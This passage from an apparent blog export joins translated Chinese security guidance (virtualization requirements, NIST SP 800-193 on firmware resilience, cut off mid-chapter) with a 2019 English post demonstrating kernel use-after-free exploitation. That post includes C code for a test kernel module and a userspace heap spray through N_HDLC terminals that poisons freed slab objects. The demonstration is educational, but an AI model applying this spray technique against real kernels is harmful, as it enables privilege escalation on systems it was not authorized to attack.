HY-SR-9	必须为所有类型的 VM 定义黄金标准，并且不符合此标准的 VM 镜像不应该被允许存储到 VM 镜像服务器或者库中。更进一步地，VM 镜像库中的镜像应该被周期性地扫描以查找将要过时并且因此偏离标准的 OS 版本和补丁	HY-BF4（VM 生命周期管理）
HY-SR-10	存储于镜像服务器中的每一个 VM 镜像应该带有数字签名以作为合法性和完整性的标识，利用可信、强壮的密码学密钥签名	HY-BF4（VM 生命周期管理）
HY-SR-11	向 VM 镜像库中迁入或者从中迁出镜像的许可应该通过某种强壮的访问控制机制强制实施，并且限制在一组授权的管理员中。如果没有访问控制机制，VM 镜像文件应该存储于加密设备中，该设备只能由一组限定的授权管理员利用具有足够复杂度的口令打开/关闭	HY-BF4（VM 生命周期管理）
HY-SR-12	对存储 VM 镜像的服务器的访问应该总是通过安全协议，诸如 TLS	HY-BF4（VM 生命周期管理）
HY-SR-13	在 VM 即时迁移过程中，应该谨慎以确保安全认证协议被用于执行即时迁移；执行迁移操作的管理员的凭证只被传输至目标宿主；内存内容和处理器状态的迁移通过安全网络连接进行；并且一个专用虚拟网段被同时用于源和目标宿主以承载此流量	HY-BF4（VM 生命周期管理）
HY-SR-14	应该存在机制以用于安全监视、VM 操作安全策略强制实施——对于 VM 中运行的恶意进程和出入 VM 的恶意流量。此监视和强制实施机制构成了用于构建杀毒（AV）和入侵检测及防止系统（IDPS）解决方案的基础	HY-BF4（VM 生命周期管理）
HY-SR-15	用于 VM 的安全监视和安全策略强制实施解决方案应该基于“VM 外部”，并且应该撬动虚拟机监视器的虚拟机自省能力。通常，这样的解决方案涉及在安全加固的或者可信 VM 中运行诸如安全虚拟设备（SVA）的安全工具	HY-BF4（VM 生命周期管理）
HY-SR-16	运行于虚拟机监视器宿主中的所有反恶意软件工具（查毒软件、防火墙和 IDPS 等）应该拥有能力以执行基于一定周期的自主签名或者索引文件更新	HY-BF4（VM 生命周期管理）
HY-SR-17	VM 配置管理工具应该具有能力以编译日志并且警示管理员，如果在被监视的任何 VM 中检测到配置更改	HY-BF4（VM 生命周期管理）
HY-SR-18	用于 VM 管理的访问控制解决方案应该拥有粒度能力，既在权限授予层级，也在对象层级（即对于权限目标的具体说明可以是单一 VM 或者任何 VM 的逻辑组合——基于功能或者位置）。此外，还应该存在这样的能力以禁止对于某个 VM 组（例如运行具有特定敏感度等级的负载的 VM）中的某些特别对象的权限，尽管其拥有对于该 VM 组的访问权限	HY-BF4（VM 生命周期管理）
HY-SR-19	对于企业中安装的所有虚拟机监视器的管理应该利用企业虚拟化管理系统（EVMS）以中心化的方式实现。更进一步地，用于不同类型的负载和集群的企业黄金标准虚拟机监视器配置必须通过 EVMS 进行管理（强制实施）。此黄金标准配置至少应该覆盖下列方面——CPU、内存、存储、网络带宽，以及（如有必要）宿主 OS 加固	HY-BF5（虚拟机监视器平台管理）
HY-SR-20	对于虚拟机监视器宿主和软件管理功能的保护应该通过分配一块专用的物理 NIC 来保证，如果这不可行，则改为将虚拟机监视器的管理接口置于专用的虚拟网段中，并且利用防火墙强制实施流量控制（例如，在企业网络中指定子网，从这些子网到管理接口的流入流量被允许）	HY-BF5（虚拟机监视器平台管理）

附录 C 用语

完全虚拟化——一种形式的虚拟化，其中，虚拟机监视器呈现的虚拟化资源反映了底层硬件的架构，因此未经修改的客户 OS 可以在其上运行
客户操作系统（OS）——虚拟机（见下）执行栈中的操作系统组件，其他组件包括虚拟硬件、中间件和应用程序
虚拟机监视器——利用某种特殊的 OS 内核以及支持性的内核模块构建的软件，这些内核模块为虚拟机（见下）所呈现的不同执行栈提供隔离
虚拟化的宿主——诸如虚拟机监视器等虚拟化软件所安装于其上的物理宿主。通常，虚拟化的宿主将会包含特别硬件平台以辅助虚拟化——特别是指令集和内存虚拟化
虚拟机（VM）——由软件定义的完整的执行栈，由虚拟化的硬件、操作系统（客户 OS）和应用程序构成
虚拟化——用于硬件资源模拟或者抽象化的方法，以允许完整的执行栈，包括软件应用程序，在其上运行

附录 D 参考文献

1. Mastering VMware vSphere 5.5, Scott Lowe et al., Wiley Publishing Incorporated (2013)
1. Running Xen: A Hands-On Guide to the Art of Virtualization, J.N. Matthews et al., Prentice Hall (2008)
1. Building the Infrastructure for Cloud Security: A Solutions View, R.Yeluri, and E.Castro-Leon, Apress Media/Springer Science (2014)
1. Trusted Platform Module (TPM) Main Specification: http://www.trustedcomputinggroup.org/resources/tpm_main_specification
1. S.Shirinbab, L. Lundberg and D. Ilie, Performance Comparison of KVM, VMware and Xenserver using a Large Telecommunication Application, Proceedings of the Fifth International Conference on Cloud Computing, GRIDs, and Virtualization (CLOUD COMPUTING), 2014. http://bth.diva-portal.org/smash/record.jsf?pid=diva2%3A834000
1. E. Bugnion, J. Nieh and D. Tsafrir, Hardware and Software Support for Virtualization,

Demo for exploiting use-after-free in dedicated cache

Wed, 20 Feb 2019 00:00:00 +0000

Exploit use-after-free bugs in dedicated cache

This is just a demonstration.

HOWTO

free the target object
spray and eat all available memory, take high memory usage, hope to have the freed object poisoned
trigger the use-after-free

NOTICE

For each cache, the Slab allocator keeps three doubly-linked lists of slabs:

full slabs: all objects of a slab are used (i.e. allocated)

free slabs: all objects of a slab are free (i.e. the slab is empty)

partial slabs: some objects of the slab are used and other are free

We may need to make the target object in free slabs

Refs

https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html

Files

kernmod.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/types.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/debugfs.h>
#include <linux/kallsyms.h>
#include <linux/delay.h>
#include <asm/insn.h>

#define TARGET_SLABSZ	1920
#define	OBJ_MAX		0x200
#define POISON_VALUE	0x4141414141414141
char *ptrs[OBJ_MAX];
struct kmem_cache *s;

static int __init test_init(void)
{
	long i;

	s = kmem_cache_create("test_memory_poison", TARGET_SLABSZ, 0,
				SLAB_HWCACHE_ALIGN, NULL);
	if (!s)
		return -1;
	for (i = 0; i < OBJ_MAX; i++) {
		ptrs[i] = kmem_cache_alloc(s, GFP_KERNEL);
		if (!ptrs[i])
			break;
		memset(ptrs[i], 'a', TARGET_SLABSZ);
	}

	for (i = 1; i < OBJ_MAX; i++)
		if (ptrs[i])
			kmem_cache_free(s, ptrs[i]);

	pr_info("ptrs[0]: %p\n", ptrs[0]);
	while (1) {
		int found = 0;
		for (i = 1; i < OBJ_MAX; i++) {
			unsigned long val;
			if (!ptrs[i])
				continue;
			val = *(unsigned long *)(ptrs[i] + 0x10);
			if (val == POISON_VALUE) {
				found = 1;
				break;
			}
		}

		if (found) {
			for (i = 1; i < OBJ_MAX; i++) {
				if (!ptrs[i])
					continue;
				if (*(unsigned long *)(ptrs[i] + 0x10) ==
						POISON_VALUE)
					pr_info("ptrs[%ld]: %p poisoned\n",
							i, ptrs[i]);
			}
			break;
		}

		msleep(1000);
	}

	kmem_cache_free(s, ptrs[0]);
	return 0;
}

static void __exit test_exit(void)
{
	kmem_cache_destroy(s);
	return;
}

module_init(test_init);
module_exit(test_exit);
MODULE_LICENSE("GPL");

kern_mem_poison.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>
#include <fcntl.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/ioctl.h>
#include <termios.h>
#include <ctype.h>

static unsigned long mem_avail = 0;
static int get_memory_avail(void)
{
	int fd = open("/proc/meminfo", O_RDONLY);
	if (fd == -1) {
		return -1;
	}

	char buf[4096];
	memset(buf, 0, 4096);
	int err = read(fd, buf, 4096);
	if (err == -1) {
		close(fd);
		return -1;
	}

	char *string = "MemAvailable:";
	char *p = strstr(buf, string);
	if (!p) {
		close(fd);
		return -1;
	}

	p += strlen(string);
	while (isspace(*p))
		p++;

	mem_avail = 1024 * atoll(p);
	return 0;
}

static int open_n_hdlc(void)
{
	int fd = open("/dev/ptmx", O_RDWR | O_NONBLOCK);
	if (fd == -1) {
		return -1;
	}

	int cmd = TIOCSETD;
	int arg = N_HDLC;
	int err = ioctl(fd, cmd, &arg);
	if (err == -1) {
		close(fd);
		return -1;
	}

	err = ioctl(fd, TCXONC, TCOOFF);
	if (err == -1) {
		close(fd);
		return -1;
	}

	return fd;
}

static int max_open_files(struct rlimit *rlim)
{
	int err;
	memset(rlim, 0, sizeof(*rlim));
	err = getrlimit(RLIMIT_NOFILE, rlim);
	if (err == -1) {
		return -1;
	}
	rlim->rlim_cur = rlim->rlim_max & (~0xff);
	err = setrlimit(RLIMIT_NOFILE, rlim);
	if (err == -1) {
		return -1;
	}
	return 0;
}

static int kern_mem_poison(char *buf, size_t len)
{
	int err;

	if ((len < 4096) || (len > 65536)) {
		return -1;
	}

	struct rlimit rlim;
	err = max_open_files(&rlim);
	if (err == -1) {
		return -1;
	}

	int fd[rlim.rlim_cur];
	long i;
	for (i = 0; i < rlim.rlim_cur; i++) {
		if (!get_memory_avail())
			if (mem_avail < (len*2))
				break;
		fd[i] = open_n_hdlc();
		if (fd[i] == -1) {
			break;
		}

		err = write(fd[i], buf, len);
		if (err == -1) {
			break;
		}
	}

	if (i < rlim.rlim_cur)
		for (long j = i; j < rlim.rlim_cur; j++)
			fd[j] = -1;

	for (i = 0; i < rlim.rlim_cur; i++) {
		close(fd[i]);
		fd[i] = -1;
	}

	return 0;
}

#define	POISON_VALUE 0x4141414141414141
int main(int argc, char *argv[])
{
	char buf[4096];
	unsigned long *addr = buf;
	for (int i = 0; i < 4096 / 8; i++) {
		addr[i] = POISON_VALUE;
	}
	kern_mem_poison(buf, 4096);
	return 0;
}

NIST SP 800-193: BIOS 平台固件弹性指南

Wed, 12 Dec 2018 00:00:00 +0000

NIST 特别出版 800-193

平台固件弹性指南

Andrew Regenscheid 著

计算机安全分部，信息科技实验室

此出版物可从此处免费获得：

https://doi.org/10.6028/NIST.SP.800-193

2018 年五月

美国商务部秘书 Wilbur L. Ross, Jr.

美国国家标准技术研究所 NIST 主任和标准技术商务次长 Walter Copan

权力范围

此出版物中的任何内容都不应该被带到由美国商务部秘书在法定权力下规定的对于联邦政府机构具有强制性和法律约束力的相矛盾的标准和指导意见中来。这些指导意见也不应该被解读为更改或者取代商务部秘书、行政管理和预算局主任，或是任何其他联邦官员的现有权力。此出版物可以在自愿的基础上被非政府组织使用，并且不受美国版权的限制。但是 NIST 要求署名权。

美国国家标准技术研究所特别出版 800-193

Natl. Inst. Stand. Technol. Spec. Publ. 800-193，45 页（2018 年五月）

https://doi.org/10.6028/NIST.SP.800-193

CODEN：NSPUE2

此文档中可能会提到某些商业实体、设备或者器材以便充分地描述某种试验程序或者概念。这样的提名的本意并非暗示 NIST 对其的推荐或认可，也非暗示这些实体、器材或者设备一定是可用于该目的之最好的。

此文档中可能会有对于 NIST 的当前正在开发中的其他出版物的引用，以便符合其被赋予的法定责任。此出版物中的信息，包括概念和方法论，可以被联邦政府机构使用，即使是在这些附带的出版物完成之前。因此，直到每部出版物完成之前，当前的要求、指导意见和过程在其所存在之处仍然有效。关于计划和迁移的目的，联邦政府机构可能想要紧密跟踪由 NIST 提供的这些新出版物的进展。

我们鼓励组织机构在公开评论期间审阅所有出版物草案，并且向 NIST 提供反馈。除了上述出版物以外，NIST 的众多计算机安全出版物可以从 https://csrc.nist.gov/publications 获取。

关于此出版物的评论可以被提交至：

美国国家标准技术研究所

收件人：计算机安全分部，信息科技实验室，办事处大道 100 号（8930 邮递点），盖瑟斯堡，马里兰州 20899-8930

邮件：sp800-193comments@nist.gov

所有评论必须在美国信息自由法（FOIA）条款下发布。

计算机系统技术报告

摘要

此文档提供了关于支持平台固件和数据对抗潜在地具有破坏性的攻击的弹性的技术指导意见和建议。平台是启动和运行一台系统所需的功能硬件和固件的集合。针对平台固件的成功攻击可以使得系统不可运行，可能是永久的，或者要求由原始制造商重新编程，造成对用户的重大妨碍。此文档中的指导意见通过描述下列安全机制来提升平台的弹性：保护平台防止非授权更改、检测已发生的非授权更改，以及快速和安全地从攻击中恢复。包括原始设备制造商（OEM）和组件/设备提供商在内的实现者可以利用这些指导意见以便在平台中构建更强的安全机制。系统管理员、安全专业人士和用户可以利用此文档以便为未来的系统指导采购策略和优先级。

关键字

BIOS；代码签名；固件；Option ROM；平台固件

致谢

来自美国国家标准技术研究所（NIST）的作者 Andrew Regenscheid 想要感谢那些审阅了此文档草案并且为其贡献了技术内容的同事。特别地，NIST 感谢那些帮助指导此作品的来自业界和政府的专家所作出的贡献。这些专家包括来自思科的 Chirag Schroff；来自戴尔的 Mukund Khatri；来自慧与科技的 CJ Coppersmith、Gary Campbell、Shiva Dasari 和 Tom Laffey；来自惠普公司的 Jim Mann；来自 IBM 的 Charles Palmer；来自 Intel 公司的 Bob Hale、David Riss 和 Vincent Zimmer；来自微软的 Paul England 和 Rob Spiger，以及 Shane Steiger。

NIST 还想要感谢来自美国国家安全局的 Kevin Bingham、Cara Steib 和 Mike Boyle，他们为此文档作出了实质性的贡献，以及来自 Noblis NSP 的 Jeffrey Bruke。

受众

此文档本意中的受众包括计算机系统的系统和平台设备厂商，其中包括客户端、服务器和网络设备制造商。此文档中所包含的安全原则和建议应该能够宽泛地适用于具有可更新的固件的其他类型的系统，包括物联网设备、嵌入式设备和移动设备。这些技术指导意见假设读者拥有平台架构方面的技能，并且主要面向负责在系统和设备中实现固件级安全技术的开发者和工程师。

商标信息

所有产品名称为其对应公司的注册商标或者商标。

执行摘要

现代计算系统架构可以从层级上进行思考。顶层是软件，由操作系统和应用程序构成。尽管它们提供了用户所使用的大部分功能能力，它们依赖于底层所提供的功能和服务，此文档总体性地称其为平台。平台包括硬件和固件组件，它们是初始化组件、启动系统以及提供由硬件组件实现的运行时服务所必需的。

平台固件及其相关配置数据对于计算系统的可信度至关重要。此固件中的大部分在系统架构中具有高权限，并且由于此固件是系统运行所必需的，维修此固件可能具有挑战性。针对平台固件的成功攻击可以使得系统不可运行，可能是永久性的，或者要求由原始制造商重新编程，造成对用户的重大妨碍。其他高级恶意攻击可能尝试向固件中注入持久的恶意软件、修改关键的低级服务以破坏其运行、窃取数据或者以其他方式影响计算机系统的安全状态。

早期的 NIST 出版物应对了针对一种特定类型的平台固件的攻击的威胁：启动固件，通常称为基本输入/输出系统（BIOS）。然而，平台包含众多其他带有固件和配置数据的设备。这些设备，包括存储和网络控制器、图形处理器，以及服务处理器等，同样是高权限的，并且是系统安全和可靠地运行所必需的。

此文档提供了那些意在支持平台对抗潜在地具有破坏性的攻击的弹性的技术指导意见。这些指导意见基于以下三个原则：

保护：这些机制用于保证平台固件代码和关键数据仍然处于具有完整性的状态，并且被保护以防止损坏，诸如用于保证固件更新的合法性和完整性的过程
检测：用于检测平台固件代码和关键数据于何时受到损坏的机制
恢复：这些机制用于将平台固件代码和关键数据恢复至某种具有完整性的状态，如果任何这样的固件代码或者关键数据被检测到发生损坏，或者如果被迫通过某种授权的机制进行恢复。恢复被限制为恢复固件代码和关键数据的能力。

这些指导意见的本意是应对个人计算机（PC）客户端、服务器和网络设备中的平台，但是它们应该能够宽泛地适用于其他类型的系统。包括原始设备制造商（OEM）和组件/设备提供商在内的实现者可以利用这些指导意见以便在平台中构建更强的安全机制。系统管理员、安全专业人士和用户可以利用此文档以便为未来的系统指导采购策略和优先级。

第 1 章简介

1.1 目的

现代计算和信息技术系统构建于一系列提供系统运行所必需的功能能力的硬件组件之上。众多此类硬件组件拥有驱动其行为的固件和配置数据，并且它们必须维持在某种具有完整性的状态，以使得系统正常运作。此类固件的一个范例通常被称为基本输入/输出系统（BIOS），它被用于辅助硬件初始化过程并且将控制权移交给操作系统。取决于系统，可能有数十或者数百个具有其他类型的可编程固件的微控制器，其固件支持了整体系统架构。这些硬件和固件的集合通常称为平台。

构成了平台的设备对于基于此平台构建的系统的完整性和可用性至关重要。没有这些设备，系统可能不能正确地运行，甚至完全不能运行。针对平台中的某些设备的攻击可以对系统的安全状态造成重大影响，有可能允许低级恶意软件的持久存在。定位于损坏或者移除平台固件的攻击具有使得系统永久损坏的潜力，从而对受其影响的相关方受到实质性的损失。

此文档的目的是为在平台层级支持系统弹性提供安全性指导意见。如同系统工程国际委员会（INCOSE）所定义，系统弹性是指“具有某些特定性质的系统在干扰发生之前、之中和之后吸收此干扰、恢复至某种可接受的性能水平，并且维持该水平达到一段可接受的时间的能力” [10]。应用于信息系统时，网络弹性是指“预见、抵御、恢复并且适应针对包含网络资源的系统的不利条件、压力、攻击或者破坏的能力”。尽管关于系统层级的网络弹性的指导意见在 NIST 特别出版 800-160 草案第 2 卷中有所描述，此出版物指出这种系统层级的弹性应该由计算机平台中的基础安全性能力所支持。此文档中的指导意见支持网络弹性，通过具体说明保护固件和配置数据不受攻击，以及能够检测并且从成功的攻击中恢复的机制。

1.2 受众

此文档本意中的受众包括计算机系统的系统和平台设备厂商，其中包括客户端、服务器和网络设备的制造商。这些技术指导意见假设读者拥有平台架构方面的技能，并且主要面向负责在系统和设备中实现固件级安全技术的开发者和工程师。

这些素材对于开发企业范围内的采购和部署策略可能也会有用。此文档中的素材是面向技术的，并且假设读者对于计算机安全性原理和计算机架构至少拥有基本的理解。此文档提供了背景信息以帮助这些读者理解正在讨论的话题。

1.3 适用性和范围

此文档的目的是提供能够支持主要面对远程攻击的平台弹性的原则和指导意见。这些原则和指导意见直接适用于构成了平台的独立设备（参见 2.1 节以获取一系列范例的列表）。具体地，它们描述了定位于保护每个设备使其固件或者关键数据不被非授权修改以及将平台恢复至某种具有完整性的状态的安全机制。

1.4 文档结构

此文档的剩余部分被组织进下列主要部分中：

第 2 章提供了描述平台组件和架构的信息性素材
第 3 章描述了构成此文档中的指导意见的基础的安全性原则，并且描述了将这些原则应用于平台弹性的关键概念
第 4 章包含关于保护固件代码和关键数据、检测非授权更改以及恢复至某个具有完整性的状态的安全技术指导意见
附录 A 提供了此文档中的首字母缩略词和缩略语
附录 B 呈现了此文档中的选定的术语的词汇表
附录 C 包含此文档中的参考文献列表

第 2 章平台架构

确保平台的固件代码和关键数据总是处于某种具有完整性的状态对于确保一台计算系统可以不受恶意软件困扰地运作至关重要。现代客户端和服务器计算系统可以看作分为两层高级架构，平台和软件。出于此文档的目的，我们会将这两层逻辑架构的组合描述为系统。注意，图 1 只是示意性的，其本意并非为了表示平台中所有可能的设备，也不是为了表示任何特定设备的范例架构。在较高层级上，蓝色阴影方框中的项目是将要被视为平台的一部分的设备。

宽泛地说，平台是由将系统启动至软件和操作系统可以被加载的阶段所必需的硬件和固件构成的；软件是由加载操作系统以及操作系统随后处理的所有应用程序和数据所要求的元素构成的。注意，某些固件在软件启动之后继续执行。现存的业界最佳实践，以及诸如 NIST SP800-147，BIOS 保护指南 [1]、NIST SP800-147B，服务器 BIOS 保护指南 [2] 等 NIST 出版物已经着手应对保护平台的宿主处理器启动固件（传统上称为 BIOS，近来称为 UEFI [3]）（脚注 1）的完整性及其更新机制的问题，但是，保护只是网络弹性的三大关键元素之一（另外两个是检测和恢复）。此外，平台上的其他关键固件的弹性的解决程度并未达到宿主处理器启动固件的对应程度。尽管识别和定义包含固件的硬件的每一种类别和架构超出了此文档的范围，此文档适用于任何包含固件的平台中的设备，包括个人计算机、服务器、网络设备、智能电话、平板等。

脚注 1：出于此文档的目的，宿主处理器启动固件将会被一般性地指代传统基本输入/输出系统（BIOS）或者统一可扩展固件接口（UEFI）。

2.1 平台设备

如上文所述，平台是提供操作系统和应用程序所需的功能能力和服务的一系列设备。尽管作为一个整体的平台的弹性是终极目标，认识到平台是由众多不同设备构成的，并且通常是由不同厂商开发和制造的是至关重要的。基于此原因，此文档中的技术指导意见以面向独立平台设备的指导意见的形式描述。

为了描述具有弹性的平台，本节提供了通常对于平台的正常和安全运作至关重要的设备的列表。这些设备通常包含可变的固件，并且被此文档中的安全性指导意见的预想范围所覆盖。

然而，这不应该被视为每一种感兴趣的平台中的所有设备的完整列表。平台厂商需要仔细考虑那些应该被视为处于它们的特定平台范围中的其他设备。

在传统的基于 x86 的平台（台式机、笔记本、服务器、网络交换机）的情况下，这些设备标识于图 1 中，并且于下文定义。注意，这里的编号指的是用于在图 1 中标识这些设备的编号，其顺序并非为了指示任何优先级或者次序。

嵌入式控制器（EC）/ Super I/O（SIO）

EC 通常与移动平台（笔记本、变形本、平板）相关联，而 SIO 通常与基于桌面的平台（台式机、基于桌面的工作站、一体机、瘦客户端）相关联。这并非普遍确切，但是通常足够确切以确定在某种类型的客户端系统中能够找到 EC 还是 SIO。EC 或者 SIO 通常控制平台中的诸如键盘、指示灯、风扇、电池监测/充电、散热监测等功能。此外，它通常是平台中的首个执行代码的系统板载设备，甚至会使得宿主处理器处于重置状态，直到 EC / SIO 准备就绪以允许宿主处理器获取它的首行宿主处理器固件代码。
可信平台模块（TPM）

TPM [4] 是一块能够安全地存储和使用密码学密钥以及平台状态测定数据的安全协处理器。这些能力可以被用于在其他事物之中保护存储于系统上的数据、提供强壮的设备身份，并且验证系统状态。尽管并非所有平台都包括或者使用 TPM，在任何包括并且使用 TPM 的系统上，它的固件必须被保护，鉴于它在帮助确保平台的可信度方面的至关重要性。TPM 还包含非易失性存储器，它可以包含关键数据，并且如果是这样，它必须被保护。TPM 可以是独立的硬件设备，也可以被实现在平台的主机控制器或者其他微控制器所执行的固件中（后者有时被称为固件 TPM 或者 fTPM）。
基板管理控制器（BMC）/ 管理引擎（ME）

BMC 与服务器平台相关联，而 ME 通常与客户端平台相关联。在这两种情况下，其功能的核心方面是作为一种带外管理设备，以允许管理员管理一个平台而无需要求宿主操作系统运行。尽管对于服务器或者客户端平台的基本计算功能而言并非总是严格必需，大多数现代服务器和客户端平台包含 BMC / ME，使得它们的固件不会对宿主处理器的安全域的完整性状态造成负面影响这一点至关重要。
宿主处理器【又称为中央处理器（CPU）、应用处理器（APU）】

宿主处理器是通常平台中的处理单元，在传统上称为 CPU，现在有时也称为 APU 或者系统芯片（SoC）。这是主操作系统（和/或虚拟机监视器）以及用户应用程序所运行的处理单元。这是负责加载并执行宿主处理器固件的处理器。
网卡（NIC）

不论是独立的还是作为 SoC 的一部分而集成的，大多数现代客户端和服务器平台拥有至少一块 NIC（有线或者无线），并且可能拥有多块，包括多种类型（有线、Wi-Fi、蜂窝）。尽管拥有一块 NIC 对于启动一个平台并非严格必需，在当今的互联世界中，在系统启动之后的某个时间点拥有某种形式的连接性是至关重要的。更为重要的是，受到攻击的 NIC 固件镜像可以作为对系统中的其他漏洞的利用的发射台，被用于窃取数据、作为中间人等。除了由微控制器运行的固件以外，NIC 可能还包含在启动过程中加载并且由宿主处理器执行的扩展只读存储器（ROM）固件。NIC 的扩展 ROM 固件同样受到保护是至关重要的。此扩展 ROM 固件可以同宿主处理器启动固件一同存储（对于集成 NIC 的情况），或者对于作为扩展卡的情况，可以独立存储于 NIC 本身。NIC 通常还包含关键数据，例如，介质访问控制（MAC）地址可能存储于可变存储器中。针对此关键数据的攻击可能导致针对此平台以及具有匹配的 MAC 地址的另一台系统的拒绝服务（DoS）。
图形处理器（GPU）

GPU 是作为客户端平台中的主要“输出型”人体学接口设备（HID）的设备。在某些情况下，GPU 也可以被用作协处理器以支持高性能计算。GPU 可以作为对系统中的其他漏洞的利用的发射台。除了由微控制器运行的固件以外，GPU 可能包含在启动过程中加载并且由宿主处理器执行的扩展 ROM 固件。此扩展 ROM 固件可以同宿主处理器的启动固件一同存储（对于集成 GPU 的情况），或者对于作为扩展卡的情况，可以独立存储于 GPU 本身。
串行外设接口（SPI）闪存

大多数现代平台包括一定数量的 SPI 闪存以存储固件，通常是用于宿主处理器的启动固件，尽管它也可被用于其他目的。
A）用于大容量存储设备的主机控制器（HC）

对于大多数现代平台，需要有某种采用硬盘（HDD）或者固态硬盘（SSD）形式的本地大容量存储设备以启动操作系统并且存放用户的应用程序和数据。为了使得数据能够被存储到该大容量存储设备上，主机控制器（HC）被用于通过某种存储总线（例如 SATA、SCSI、PCIe）将数据从平台的主内存中移至物理存储介质中。HC 可以被集成到 SoC 中，也可以是独立的设备或者位于扩展卡上。

B）硬盘（HDD）/ 固态硬盘（SSD）

HDD 或者 SSD 代表了当前用于存储大量数据的传统平台中的最先进技术。这些设备与主机控制器（HC）相耦合。在 HDD 或者 SSD 内部，微控制器及其相关联的固件被用于执行将数据从平台的主内存发送至大容量存储设备的实际存储操作。对 HDD 或者 SSD 的固件的攻击同样可以用作对系统中的其他漏洞的利用的发射台，也可以被用于攻击用户和/或平台数据。
嵌入式多媒体存储卡（eMMC）/ 通用闪存存储（UFS）

eMMC 和 UFS 作为移动系统的标准大容量存储设备而出现。它们中的每一种都可以包含它们自己的扩展 ROM 固件和/或带有与之相关联的固件的微控制器。
宿主处理器启动固件

在大多数现代平台中，宿主处理器启动固件包含在 SPI 闪存设备中。BIOS 和统一可扩展固件接口（UEFI）是此类固件的范例。
平台运行时固件

除了启动固件以外，还有平台运行时代码。此代码在平台启动以后仍然驻留在内存中并且可执行。这对于在系统完全运行时需要执行固件以执行某些功能的微控制器而言最为常见。被看作运行时代码的宿主处理器固件的一个范例是系统管理模式（SMM）代码。
电源

某些电源拥有它们自己的微控制器和与之相关联的固件。通常的电池架构还包括内部逻辑和固件以管理该电池的充放电行为。
粘合逻辑（CPLD、FPGA）——未在图中显示

现代嵌入式系统使用可编程的逻辑组件以提供粘合逻辑功能。有两种类型的可编程逻辑组件，称为 FPGA 的现场可编程逻辑门阵列和称为 CPLD 的复杂可编程逻辑器件。FPGA 通常在加电时通过比特流程序从所连接的闪存设备中加载。而 CPLD 由比特流进行一次编程并且保持其功能，直到在现场被再次编程。通常，此功能是系统的基本操作所需要的，如果损坏，可能导致平台的永久拒绝服务。
风扇——未在图中显示

某些风扇拥有其自身的微控制器及其相关联的固件。

2.2 平台设备中的代码和数据

上述设备通常在其非易失性存储器中拥有某些固件和数据的组合，它们可以驻留在设备本身，或者位于共享存储设备（例如 SPI 闪存）。本节描述固件代码和数据，并且简要讨论此文档与这些组件相关的范围。

2.2.1 代码

固件代码是由任何设备的处理单元所使用以执行由设备所要求的操作的指令的集合。在历史上，平台设备中的固件极少在现场被修改，尽管系统或者组件厂商可以开发固件更新以便为漏洞打补丁、修复 bug 或者添加新功能。随着固件的复杂度增加，固件更新变得更加普遍，而硬件和操作系统厂商提供工具以帮助管理员更新他们的固件。

由于固件在很大程度上驱动着设备的行为，使其在平台上保持处于可信状态至关重要。针对固件代码的攻击可能使得设备不能运行，或者向设备中注入恶意功能。固件应该仅从授权的来源加载，通常是系统或者平台设备的制造商。

此文档中的指导意见描述了通过利用数字签名验证更新来保护固件的机制。它们还描述了检测针对固件的非授权修改的机制以及安全恢复的方法。

2.2.2 数据

数据是平台固件代码用以执行其操作的信息片断，如同其代码所指示。数据可以进一步分为关键和非关键。关键数据包括配置设置和策略，它们需要处于有效状态以使得设备维持其安全状态。非关键数据包括所有其他数据。

2.2.2.1 关键数据

关键数据可以被用于不同目的，包括：

配置设置：这些数据告知代码如何配置设备的操作方面
- 范例：启用某个被企业安全策略禁止的外设
- 范例：硬盘中的不可用扇区表
策略：这些数据告知代码选择何种路径或者如何响应
- 范例：系统的启动顺序描述了尝试用于启动的有效设备及其顺序
- 范例：UEFI 安全启动，一系列安全性配置以控制 BIOS 将控制权移交给哪些第三方代码

关键数据难于精确定义，由于对于某一设备可能属于关键的数据对于其他设备可能并非关键。然而，关键数据的共同特征包括：

它必须处于有效状态以允许设备的正常启动和运行时操作
它在加电周期之间持续存在（例如存储于非易失性存储器中）
它会改变设备的行为或者功能
它必须处于有效状态以支持平台固件及其相关联的数据的保护、检测和/或恢复

某些关键数据被硬编码到代码中，并且仅可通过固件镜像更新而更新。出于此文档的目的，硬编码的数据被看作代码的一部分，并且根据固件代码的保护、检测和恢复指导意见来保护。

平台设备通常拥有在其正常操作时可由平台管理员、硬件、固件或者软件配置的其他数据。由于关键数据的损坏可能影响系统的正常或者安全运作，保护关键数据防止损坏，并且能够在检测到问题时进行恢复是至关重要的。然而，对于某些形式的关键数据的强保护可能在架构上难于实现，由于这样一些期望，即诸如操作系统以及设备驱动程序等某些实体拥有更改这些设置的访问权限。

某些配置数据只能通过由平台层级的代码控制的限定的接口来更改，例如，UEFI 运行时变量属于此类。这一基本层级的保护可以防止攻击者直接修改配置数据，并且允许平台固件在将更改提交至存储设备之前验证其输入。然而，某些实体可能能够利用这些限定的接口来作出格式良好但却是恶意的配置更改。

为了防止这样的破坏，针对某些特别敏感的配置数据的更改可以要求在使用上述限定的接口应用更改之前通过授权。在某些情况下，诸如宿主处理器启动固件或者服务处理器固件等平台设备可能能够先于允许平台管理员作出更改对其进行认证。其他认证技术可以允许平台固件对更改的来源和完整性进行密码学验证。

某些关键数据由不会通过外部接口暴露为可编程的固件管理（例如耗损平均技术数据），并且如果丢失或者损坏，可能导致设备功能永久丧失。此类状态数据需要在最高层级进行保护，并且不可从平台的其他位置写入。

2.2.2.2 非关键数据

非关键数据可以被用于不同目的，包括：

信息性 / UI：这些数据仅是信息性的，或者用作最终用户的用户界面（UI）的一部分
- 范例：在启动过程中显示名为“Property of NIST”的财产标签
状态：不会影响平台完整性的状态设置
- 范例：系统启动时的数字锁定键的状态；BIOS 执行快速启动还是标准启动

非关键数据对于平台的安全启动或者操作不应该具有决定性。在实践中，所有由平台固件消费的数据都可能是安全敏感的，包括某些并不直接影响平台的正确和安全操作的数据。由平台固件消费的任何数据的错误或者对其的恶意攻击都可能暴露并且利用该代码中的漏洞。就其本身而言，对于由平台消费的任何非可信输入或者数据需要给予特别的关照。

第 3 章原理和关键概念

本章为平台弹性的指导原则提供了简要的描述，它们为此文档中的指导意见提供了基础。本章还讨论了用于整篇文档的主要架构方面的概念和考虑。

3.1 支持平台弹性的原则

此文档中的安全性指导意见基于下列三个原则：

保护：

